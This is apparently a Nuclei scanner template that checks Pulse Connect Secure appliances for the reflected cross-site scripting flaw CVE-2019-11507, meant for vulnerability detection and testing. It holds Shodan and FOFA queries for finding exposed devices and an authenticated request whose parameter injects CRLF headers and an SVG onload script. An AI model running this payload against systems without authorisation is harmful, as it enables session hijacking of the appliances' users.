id: CVE-2019-11507

info:
  name: Pulse Secure Pulse Connect Secure - Cross-Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Pulse Secure Pulse Connect Secure (PCS) 8.3.x before 8.3R7.1 and 9.0.x before 9.0R3 contain a reflected cross-site scripting caused by insufficient sanitization on the Application Launcher page, letting attackers execute scripts in the context of the affected page, exploit requires victim to visit a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 8.3R7.1 or 9.0R3 or later.
  reference:
    - https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11507
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-11507
    epss-score: 0.04055
    epss-percentile: 0.89333
    cwe-id: CWE-79
    cpe: cpe:2.3:a:ivanti:connect_secure:8.3:r1:*:*:*:*:*:*
  metadata:
    verified: false
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - http.html:"welcome.cgi?p=logo"
      - http.title:"ivanti connect secure"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2019,pulsesecure,xss,vkev,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "xsauth_token")'
        condition: and
        internal: true

    extractors:
      - type: regex
        group: 1
        name: "xsauth_token"
        regex:
          - 'name="xsauth_token" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /dana-na/auth/url_default/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tz_offset=330&clientMAC=&xsauth_token={{xsauth_token}}&username={{username}}&password={{password}}&realm=Users&btnSubmit=Sign+In

      - |
        GET /dana/home/cts_get_ica.cgi?bm_id=x&vdi=1&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>")'
        condition: and
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